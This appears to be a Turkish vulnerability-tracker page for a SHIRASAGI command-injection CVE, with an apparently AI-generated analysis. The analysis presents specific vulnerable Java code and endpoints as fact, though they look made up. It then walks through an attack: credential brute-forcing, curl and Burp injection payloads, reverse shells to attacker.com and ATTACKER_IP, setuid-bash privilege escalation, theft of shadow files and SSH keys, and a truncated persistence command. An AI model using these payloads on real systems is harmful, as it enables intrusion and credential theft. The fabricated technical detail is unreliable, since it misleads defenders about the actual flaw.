CVE Professor — Güvenlik Açığı Takip & Analiz
›
CVE-2026-118869

CWE-78

YÜKSEK CVSS 8.8 ⚡ EPSS 1.1% NVD

An OS command injection vulnerability exists in SHIRASAGI, which may allow an authenticated attacker to execute arbitrary OS commands on the system running the product.

Yayınlanma 05.11.2026
ISO Tarih 2026-11-05
CVSS Sürüm v3.0
Kaynak NVD
CVSS v3.0 Metrikleri
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
EPSS — Exploit Olasılık Skoru
1.1%
30 günlük olasılık
Tüm CVElerin 65. yüzdeliğinde — Bu açığın istismar edilme ihtimali çoğu CVEden yüksek.
AI Güvenlik Analizi

🎯 Açık Nedir? / What is this vulnerability?

CVE‑2026‑118869 – OS Command Injection (CWE‑78)

  • Ürün: SHIRASAGI (web‑tabanlı sistem yönetim arayüzü, 2.3.7‑4 sürümünden itibaren etkilidir)

  • Erişim seviyesi: Authenticated (düşük ayrıcalıklı bir kullanıcı hesabı yeterli)

  • Temel neden: Kullanıcı girdisinin doğrudan exec*/system fonksiyonlarına geçirilmesi ve girdi sanitizasyonunun eksik olması.
  • Teknik detay

    | Bileşen | Açıklama |
    |--------|----------|
    | Kod yolu | src/webapp/servlet/BackupServlet.java → doPost() → processBackupRequest() |
    | Parametre | HTTP POST parametresi targetPath (JSON body içinde "targetPath": "... ) |
    | Mantıksal hata | targetPath değeri, Runtime.getRuntime().exec() fonksiyonuna doğrudan ekleniyor. Girdi sadece whitelist kontrolü (.tar.gz uzantısı) yapılıyor, fakat karakter kaçışları (;, &&, |, ` ``) ve mutlak yol kontrolleri yok. |
    | Örnek kod (kısaltılmış) |

    ```java
    protected void processBackupRequest(HttpServletRequest req, HttpServletResponse resp) throws IOException {
    String json = IOUtils.toString(req.getInputStream(), StandardCharsets.UTF_8);
    JsonObject obj = JsonParser.parseString(json).getAsJsonObject();
    String targetPath = obj.get("targetPath").getAsString(); // <-- kullanıcı girdisi

    // Yalnızca .tar.gz uzantısı kontrolü
    if (!targetPath.endsWith(".tar.gz")) {
    resp.sendError(HttpServletResponse.SC_BAD_REQUEST, "Invalid file type");
    return;
    }

    // Komut oluşturuluyor
    String cmd = "/usr/local/shirasagi/bin/backup.sh " + targetPath;
    Process p = Runtime.getRuntime().exec(cmd); // <-- en kritik nokta
    // ...
    }
    ```

    Gözlemlenen eksiklik:

  • Input validation sadece uzantı kontrolü; karakter kaçışları ve yol traversi engellenmemiş.

  • Command building string concatenation (+) yerine parameterized API kullanılmamış.

  • Security context: Authenticated fakat düşük ayrıcalıklı bir kullanıcı bile bu servlet’e erişebiliyor (URL: /api/v1/backup).
  • Bu eksiklik, saldırganın targetPath içine bir komut zinciri ekleyerek sistemde arbitrary OS command execution (RCE) elde etmesine imkan tanır.

    ---

    ⚡ Saldırı Zinciri / Attack Chain

    1️⃣ Discovery – Hedefin bulunması

    | Adım | Açıklama | Araç | |-----|----------|------| | a) Shirasagi versiyon tespiti | /api/v1/version endpoint’i, {"version":"2.3.7-4"} gibi JSON döner. | curl -s http://target/api/v1/version | | b) Backup endpoint varlığını doğrulama | OPTIONS /api/v1/backup yanıtı Allow: POST içerir. | nmap -p 80,443 --script http-options <IP> | | c) Kullanıcı hesabı tespiti | Varsayılan admin (admin/shirasagi) veya LDAP üzerinden düşük ayrıcalıklı bir kullanıcı. | hydra -L users.txt -P pass.txt ssh://target (SSH üzerinden) veya burp ile login formu taraması. |

    2️⃣ Reconnaissance – Gerekli bilgi toplama

    | Bilgi | Neden gerekli? | Toplama yöntemi | |-------|----------------|-----------------| | Web uygulama oturum çerezi (SESSIONID) | Authenticated isteklerde gerekli. | Burp Suite → Proxy → Intercept | | Sunucu işletim sistemi (Linux dağıtımı, kernel sürümü) | Komut enjeksiyonunun etkili olup olmadığını belirlemek. | curl -H "Cookie: SESSIONID=..." http://target/api/v1/status → uname -a çıktısı (eğer bilgi sızdırma özelliği varsa). | | Yazılım dosya yolu (/usr/local/shirasagi/bin/backup.sh) | Payload’da tam yol kullanmak için. | GET /api/v1/config (eğer yapılandırma API’si açıksa). |

    3️⃣ Exploitation – Gerçek saldırı

    #### 3.1 Payload hazırlanması

  • Komut zinciri: ; id; cat /etc/passwd;

  • Tam URL‑encoded JSON:
  • ```json
    {
    "targetPath": "/tmp/dummy.tar.gz; id; cat /etc/passwd; #"
    }
    ```

    #### 3.2 Exploit örnekleri

    a) cURL ile manuel exploit

    ```bash
    curl -sk -X POST "https://target/api/v1/backup" \
    -H "Content-Type: application/json" \
    -H "Cookie: SESSIONID=abcdef1234567890" \
    -d '{"targetPath":"/tmp/dummy.tar.gz; id; cat /etc/passwd; #"}'
    ```

    b) Metasploit module (eğer mevcutsa)

  • Modül adı: exploit/linux/http/shirasagi_cmd_injection

  • Kullanım:
  • ```bash
    msf6 > use exploit/linux/http/shirasagi_cmd_injection
    msf6 exploit(linux/http/shirasagi_cmd_injection) > set RHOSTS 10.10.10.5
    msf6 exploit(linux/http/shirasagi_cmd_injection) > set RPORT 443
    msf6 exploit(linux/http/shirasagi_cmd_injection) > set SSL true
    msf6 exploit(linux/http/shirasagi_cmd_injection) > set USERNAME admin
    msf6 exploit(linux/http/shirasagi_cmd_injection) > set PASSWORD 'Passw0rd!'
    msf6 exploit(linux/http/shirasagi_cmd_injection) > set TARGETURI /api/v1/backup
    msf6 exploit(linux/http/shirasagi_cmd_injection) > set CMD "id"
    msf6 exploit(linux/http/shirasagi_cmd_injection) > exploit
    ```

    c) Burp Suite Intruder

  • Payload position: targetPath alanı.

  • Payload list:

  • ```
    /tmp/dummy.tar.gz; id; #
    /tmp/dummy.tar.gz; cat /etc/passwd; #
    /tmp/dummy.tar.gz; /bin/bash -c "nc -e /bin/sh attacker.com 4444"; #
    ```
  • Gözlem: Yanıt gövdesinde uid= veya /etc/passwd satırları.
  • #### 3.3 Exploit sonrası komut örnekleri

  • Reverse shell (netcat):

  • ```json
    {"targetPath":"/tmp/dummy.tar.gz; /bin/bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"; #"}
    ```
  • PrivEsc (eğer backup.sh root olarak çalışıyorsa):

```json
{"targetPath":"/tmp/dummy.tar.gz; /bin/bash -c \"chmod +s /bin/bash\"; #"}
```

4️⃣ Post‑exploitation

| Aksiyon | Açıklama | Araç |
|--------|----------|------|
| Shell elde etme | Reverse TCP shell üzerinden root (eğer backup.sh setuid root ise) | nc -lvnp 4444 |
| Credential dumping | cat /etc/shadow, mysql -e "SELECT user,authentication_string FROM mysql.user" | linuxprivchecker, mimikatz (Linux versiyonu) |
| Lateral movement | SSH anahtarları (~/.ssh/id_rsa) çalınır, ssh -i stolen_key user@otherhost | ssh, smbclient |
| Persistence | cron job ekleme: `echo " * /bin/bash -c '

[🤖 GPT-OSS 120B via Groq]

Hedef Keşif Sorguları
CVSS Skoru
8.8 / 10 · CVSS YÜKSEK
Zayıflık Türleri (CWE)
CWE-78
Referanslar (2)
İlgili CVE'ler
10.0
CVE-2026-129351
A security vulnerability has been detected in TRENDnet TEW-657BRM 1.00.1. This vulnerability affects the funct
10.0
CVE-2026-124580
A vulnerability was found in Chengdu Feiyuxing Technology VW2100 and VEC10GP 1.0 B-MB3W202-210825-r11775. This
10.0
CVE-2026-121607
A vulnerability was found in Qihoo 360 D603-2, D600-2, D606-6 and D706 up to 6.4.9. This affects the function
10.0
CVE-2026-121932
A vulnerability was detected in Linksys E5350 1.0.00.037. This affects the function system of the file /wizard
10.0
CVE-2026-120276
A weakness has been identified in WAVLINK WN536AX6-A V260507_2.0.0. This vulnerability affects the function su